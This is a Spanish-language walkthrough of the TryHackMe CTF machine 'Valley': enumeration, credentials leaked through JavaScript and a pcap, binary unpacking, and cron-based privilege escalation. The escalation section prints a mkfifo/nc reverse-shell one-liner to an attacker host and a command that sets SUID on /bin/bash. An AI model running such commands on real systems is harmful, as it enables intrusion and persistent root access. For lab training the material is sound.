articulos - b0ySie7e
  • 👋Bienvenido
  • Write up
    • 📕DockerLabs
      • QueueMedic
    • 📕Tryhackme
      • VulnneTroasted
      • Relevant
      • Bufferoverflowprep
      • Eavesdropper
      • Kitty
      • Borderlands
      • Willow
      • Gatekeeper
      • Web Strike Blue Team
      • Splunkps Eclipse
      • Sustah
      • Battery
      • The Server From Hell
      • Biteme
      • Zeno
      • Olymus
      • Mastermind
      • Cyber Crafted
      • Ollie
      • Red
      • Opacity
      • Tony The Tiger
      • B3dr0ck
      • Valley
      • Hacker vs Hacker
      • Flatine
      • Glitch
      • Smag Grotto
      • Ninja Skills
      • Corridor
      • TechSupport
      • Kiba
      • Fowsniff CTF
      • Blueprint
      • Anonymous
      • Bookstore
      • Bounty
      • Cmspit
      • Mustacchio
    • 📕Hackthebox
      • Inject
      • Busqueda
      • Monitors Two
      • PC
      • Topology
      • Wifinetic
      • Pilgrimage
      • Keeper
      • Headless
      • Devvortex
      • Codify
      • Perfection
      • Broker
      • Pov
      • Resolute
      • Monteverde
      • Intelligence
      • StreamIO
      • Scrambled
      • Escape
      • Authority
      • Return
      • Timelapse
      • Support
      • Cap
      • Doctor
      • Validation
      • Twomillion
    • 📕PortSwigger
      • SQL Injection
        • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • Lab: SQL injection vulnerability allowing login bypass
        • Lab: SQL injection attack, querying the database type and version on Oracle
        • Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
        • Lab: SQL injection attack, listing the database contents on non-Oracle databases
        • Lab: SQL injection UNION attack, determining the number of columns returned by the query
        • Lab: SQL injection UNION attack, retrieving data from other tables
        • Lab: SQL injection UNION attack, retrieving multiple values in a single column
        • Lab: Blind SQL injection with conditional responses
        • Lab: Blind SQL injection with conditional errors
        • Lab: Visible error-based SQL injection
        • Lab: Blind SQL injection with time delays
        • Lab: Blind SQL injection with time delays and information retrieval
        • Lab: Blind SQL injection with out-of-band interaction
        • Lab: Blind SQL injection with out-of-band data exfiltration
        • Lab: SQL injection with filter bypass via XML encoding
  • Articulos
    • 🛠️Proyectos
      • 📝Host Port Discovery
    • 🛠️Laboratorio
      • 📝Hacking Wireles
  • Vulnerabilidaes
    • 🖥️Explotacion
      • CVE-2023-38831
Powered by GitBook
On this page
  • Walkthrough
  • Enumeración
  • Explotación
  • Escalada de privilegios
  1. Write up
  2. Tryhackme

Valley

PreviousB3dr0ckNextHacker vs Hacker

Last updated 1 year ago

En esta maquina se basa en la enumeración de la web para obtener credenciales al servidor ftp en el cual encontraremos unos archivos que debemos analizar con wireshark para obtner credenciales que te permitiran acceder por el servicio ssh para luego obtner un binario que en lo permosnal analice con ghidra

  • Link

  • Created by and

Walkthrough

Enumeración


Escaneo de puertos

Iniciamos con nuestra herramienta preferida a escanear los puerto de la maquina victima.

❯ nmap -p- --open --min-rate 1000 -vvv [IP-VICTIM] -Pn -n  -oG allportsScan
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack
80/tcp    open  http    syn-ack
37370/tcp open  unknown syn-ack

-p-: Esta opción indica a Nmap que escanee todos los puertos en lugar de un rango específico. El guion ("-") significa "todos los puertos". Esto permite escanear todos los puertos desde el puerto 1 hasta el 65535.

--open: Esta opción le dice a Nmap que solo muestre los puertos que están abiertos. Los puertos abiertos son aquellos en los que un servicio está escuchando y aceptando conexiones.

--min-rate 1000: Esto establece la velocidad mínima de escaneo en 1000 paquetes por segundo. Cuanto mayor sea la velocidad de escaneo, más rápido se completará el escaneo, pero ten en cuenta que un escaneo más rápido puede ser más intrusivo y podría llamar la atención no deseada.

[IP-VICTIM]: Esta es la dirección IP del objetivo que se va a escanear. Debes reemplazarla por la dirección IP que deseas escanear.

-Pn: Esta opción indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Puedes usar esto si sabes que el host objetivo no responde a los paquetes de Ping.

-n: Esta opción le dice a Nmap que no realice la resolución de nombres DNS. Puedes usarlo si no deseas que Nmap realice búsquedas DNS inversas durante el escaneo.

-oG allportsScan: Esta opción le indica a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "allportsScan". Este archivo contendrá información detallada sobre los puertos abiertos y otros detalles del escaneo. Para entender un poco mas de los parametros que lanzamos con nmap podemos leer un poco lo siguiente:

-p-: Esta opción indica a Nmap que escanee todos los puertos en lugar de un rango específico. El guion ("-") significa "todos los puertos". Esto permite escanear todos los puertos desde el puerto 1 hasta el 65535.

--open: Esta opción le dice a Nmap que solo muestre los puertos que están abiertos. Los puertos abiertos son aquellos en los que un servicio está escuchando y aceptando conexiones.

--min-rate 1000: Esto establece la velocidad mínima de escaneo en 1000 paquetes por segundo. Cuanto mayor sea la velocidad de escaneo, más rápido se completará el escaneo, pero ten en cuenta que un escaneo más rápido puede ser más intrusivo y podría llamar la atención no deseada.

[IP-VICTIM]: Esta es la dirección IP del objetivo que se va a escanear. Debes reemplazarla por la dirección IP que deseas escanear.

-Pn: Esta opción indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Puedes usar esto si sabes que el host objetivo no responde a los paquetes de Ping.

-n: Esta opción le dice a Nmap que no realice la resolución de nombres DNS. Puedes usarlo si no deseas que Nmap realice búsquedas DNS inversas durante el escaneo.

-oG allportsScan: Esta opción le indica a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "allportsScan". Este archivo contendrá información detallada sobre los puertos abiertos y otros detalles del escaneo.

Teniendo los puertos abiertos, vamos a enumerar los servicios y versiones que se ejecutan en los puertos abiertos

❯ nmap -p22,80,37370 -sC -sV -Pn -vvv [IP-VICTIM] -oN servicesScan
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:84:2a:c1:22:5a:10:f1:66:16:dd:a0:f6:04:62:95 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCf7Zvn7fOyAWUwEI2aH/k8AyPehxzzuNC1v4AAlhDa4Off4085gRIH/EXpjOoZSBvo8magsCH32JaKMMc59FSK4canP2I0VrXwkEX0F8PjA1TV4qgqXJI0zNVwFrfBORDdlCPNYiqRNFp1vaxTqLOFuHt5r34134yRwczxTsD4Uf9Z6c7Yzr0GV6NL3baGHDeSZ/msTiFKFzLTTKbFkbU4SQYc7jIWjl0ylQ6qtWivBiavEWTwkHHKWGg9WEdFpU2zjeYTrDNnaEfouD67dXznI+FiiTiFf4KC9/1C+msppC0o77nxTGI0352wtBV9KjTU/Aja+zSTMDxoGVvo/BabczvRCTwhXxzVpWNe3YTGeoNESyUGLKA6kUBfFNICrJD2JR7pXYKuZVwpJUUCpy5n6MetnonUo0SoMg/fzqMWw2nCZOpKzVo9OdD8R/ZTnX/iQKGNNvgD7RkbxxFK5OA9TlvfvuRUQQaQP7+UctsaqG2F9gUfWorSdizFwfdKvRU=
|   256 42:9e:2f:f6:3e:5a:db:51:99:62:71:c4:8c:22:3e:bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNIiJc4hdfcu/HtdZN1fyz/hU1SgSas1Lk/ncNc9UkfSDG2SQziJ/5SEj1AQhK0T4NdVeaMSDEunQnrmD1tJ9hg=
|   256 2e:a0:a5:6c:d9:83:e0:01:6c:b9:8a:60:9b:63:86:72 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZhkboYdSkdR3n1G4sQtN4uO3hy89JxYkizKi6Sd/Ky
80/tcp    open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
37370/tcp open  ftp     syn-ack vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

-p22,80,37370 : Esta opción especifica los puertos que se van a escanear. En este caso, se están escaneando los puertos 22,80 y 37370 . Los números de puerto están separados por comas y no se utiliza el rango de puertos.

-sV: Esta opción realiza la detección de versiones de servicios. Nmap intentará determinar qué servicios se están ejecutando en los puertos especificados y mostrará información sobre las versiones de esos servicios.

-sC: Activa los scripts de secuencia de comandos (scripts de automatización) de Nmap. Esto permite que Nmap ejecute scripts de detección y enumeración de servicios en los puertos especificados.

-Pn: Esta opción indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Si no se puede contactar con el host a través de Ping, Nmap aún intentará escanear los puertos especificados.

-vvv: Esto establece el nivel de verbosidad del escaneo en "muy alto". Esto significa que Nmap proporcionará una salida detallada que incluye información adicional sobre el progreso del escaneo.

[IP-VICTIM]: Debes reemplazar [IP-VICTIM] con la dirección IP del objetivo que deseas escanear. Este es el host en el que se realizará el escaneo.

-oN servicesScan: Esta opción le dice a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "servicesScan". Este archivo contendrá información detallada sobre los servicios y versiones detectadas en los puertos especificados.

Puerto 80

Iniciamos a enumerar el puerto 80 y nos encontramos con el sitio web

en este sitio web realizaremos fuzzing para descubrir directorios que no podemos ver de primera

❯ wfuzz -c -f directoryWeb,raw -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://[IP-VICTIM]/FUZZ

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: http://[IP-VICTIM]/FUZZ
Total requests: 220560
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000168:   301        9 L      28 W       316 Ch      "gallery"   
000000269:   301        9 L      28 W       315 Ch      "static"
000000773:   301        9 L      28 W       316 Ch      "pricing"  

En el directorio static se encuentran las imagenes, la cual tambien realizaremos un descubrimiento de directorios haciendo uso de gobuster

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://[IP-VICTIM]/static/ -t 100 -x txt,html,php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://[IP-VICTIM]/static/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/3                    (Status: 200) [Size: 421858]
/11                   (Status: 200) [Size: 627909]
/9                    (Status: 200) [Size: 1190575]
/12                   (Status: 200) [Size: 2203486]
/00                   (Status: 200) [Size: 127]

Encontramos un directorio que es 00 la cual existe y no la revisamos. Revisando el direcotio nos encontramos lo siguiente:

Observamos un directorio http://[IP-VICTIM]/dev1243224123123/ en el cueñ tenemos un panel de login

Observando el codigo fuente podemos encotrar la siguiente ruta:http://[IP-VICTIM]/dev1243224123123/dev.js en la que encontramos un script en javascript

Aqui tienes una copia del script de javascript

const loginForm = document.getElementById("login-form");
const loginButton = document.getElementById("login-form-submit");
const loginErrorMsg = document.getElementById("login-error-msg");
loginForm.style.border = '2px solid #ccc';
loginForm.style.padding = '20px';
loginButton.style.backgroundColor = '#007bff';
loginButton.style.border = 'none';
loginButton.style.borderRadius = '5px';
loginButton.style.color = '#fff';
loginButton.style.cursor = 'pointer';
loginButton.style.padding = '10px';
loginButton.style.marginTop = '10px';


function isValidUsername(username) {
	if(username.length < 5) {
	console.log("Username is valid");
	}
	else {
	console.log("Invalid Username");
	}
}

function isValidPassword(password) {
	if(password.length < 7) {
        console.log("Password is valid");
        }
        else {
        console.log("Invalid Password");
        }
}

function showErrorMessage(element, message) {
  const error = element.parentElement.querySelector('.error');
  error.textContent = message;
  error.style.display = 'block';
}

loginButton.addEventListener("click", (e) => {
    e.preventDefault();
    const username = loginForm.username.value;
    const password = loginForm.password.value;
    if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
})

Haciendo uso de las credenciales podemos iniciar sesion que nos re dirigue a una ruta http://[IP-VICTIM]/dev1243224123123/devNotes37370.txt en donde encontraremos unas notas

Explotación


FTP

Haciendo uso de las credenciales que encontramos iniciaremos sesión por el servicio ftp

❯ ftp [IP-VICTIM] -p 37370
Connected to [IP-VICTIM].
220 (vsFTPd 3.0.3)
Name ([IP-VICTIM]:b0ysie7e): siemDev
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Una vez iniciado sesión, encontraremos unos archivos .pcapng, los cuales los descargaremos a nuestra máquina atacante

Wireshark

Ahora analizaremos los paquetes con wireshark. En el archivo siemHTTP2.pcapng encontraremos unas credenciales que fueron usadas para iniciar sesiones

Las credenciales que encontramos son: valleyDev: ph0t0s1234

Escalada de privilegios

Usuario - valleyDev

Enumerando encontraremos un usuario siemDev, pero si recordamos encontramos unas credenciales de este usuario por la que las reusaremos siemDev: california

Usuario - siemDev

Con el usuario actual podemos enumerar las tareas que se ejecutan, haciendo uso del siguiente comando: cat /etc/crontab

El script que se ejecuta es el siguiente:

siemDev@valley:/home$ cat /photos/script/photosEncrypt.py
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
   image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
   with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
   encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
   output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
   with open(output_path, "wb") as output_file:
          output_file.write(encoded_image_data)

No podemos hacer mucho con este script, porque solo podemos leer.

En el directorio de l usuario tenemos un binario valleyAuthenticator que nos descargaremos para analizarlos en nuestra máquina de atacante.

Ghidra

Abrimos el binario con ghidra y haciendo uso de search strings de ghidra, podemos ver lo siguiente

En los strings nos dan un mensaje de que usemos upx, el cual permite desempaquetar aun mas el binario

Descomprimimos con upx -d valleyAuthenticator

Ahora podemos hacer uso de search strigns de ghidra y ahora si podemos ver unos hashes

  • e6722920bab2326f8217e4bf6b1b58ac

  • dd2921cc76ee3abfd2beb60709056cfb

Las credenciales que obtenemos son: valley: liberty123. Haremos uso de estas credenciales para loguearnos como valley.

Usuario - valley

Enumerando los permisos del usario vemos que este usario pertenece a un grupo llamdado valleAdmin

Ahora buscaremos archivos que el grupo puede ejecutar

valley@valley:/home$ find / -group valleyAdmin 2>/dev/null

Tenemos permiso de escritura del script base64.py, por lo que podemos hacer uso de este script para elevar nuestros privilegios.

siemDev@valley:/home$ cat /photos/script/photosEncrypt.py
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
   image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
   with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
   encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
   output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
   with open(output_path, "wb") as output_file:
          output_file.write(encoded_image_data)

Agregamos el siguiente codigo de python

import os

os.system("chmod u+s /bin/bash")
os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP-ATTACKER 443 >/tmp/f')

Con os.system("chmod u+s /bin/bash") cambiaremos los privilegios de la bash y con os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP-ATTACKER 443 >/tmp/f') obtendremos nuestra shell

Para obtener nuestra shell, recordemos que habia un script que se ejecuta cada determinado tiempo, luego de un minuto podemos observar que la /bin/bash con permisos SUID

Usuario root

Ponemos a la escucha ncat y recibiremos una shell

¡VAMOS!

Happy hacking :)

Una vez teniendo los hashes haremos uso de para crackearlos

📕
crackstation
Valley
tryhackme
valley
20231109123303.png
20231109123657.png
20231109134746.png
20231109134808.png
20231109143202.png
20231109143459.png
20231109143717.png
20231109152340.png
20231109161200.png
20231109161959.png
20231109162301.png
20231109191332.png
20231109191417.png
20231109190904.png
20231109193312.png
20231109191518.png
20231109192231.png
20231109192542.png
20231109193715.png
20231109193744.png
20231109193803.png